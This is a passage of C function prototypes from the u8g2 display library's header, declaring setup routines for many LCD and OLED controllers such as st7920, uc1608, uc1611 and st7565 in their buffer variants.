gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh03_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh03_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh03_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh05_144x168_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh05_144x168_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ls013b7dh05_144x168_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_ea_dogs102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_ea_dogs102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_ea_dogs102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_mini12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_mini12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1701_mini12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcd8544_84x48_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcd8544_84x48_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcd8544_84x48_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcf8812_96x65_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcf8812_96x65_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_pcf8812_96x65_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hx1230_96x68_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hx1230_96x68_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hx1230_96x68_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_i2c_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_i2c_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1604_i2c_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1608_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_i2c_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_i2c_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1609_i2c_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_160x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_160x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_160x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1638_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1611_i2c_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7511_avd_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7511_avd_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7511_avd_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7528_i2c_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_i2c_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_i2c_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1617_i2c_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ea_dogm128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6063_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_64128n_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_zolen_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6059_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ks0713_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid 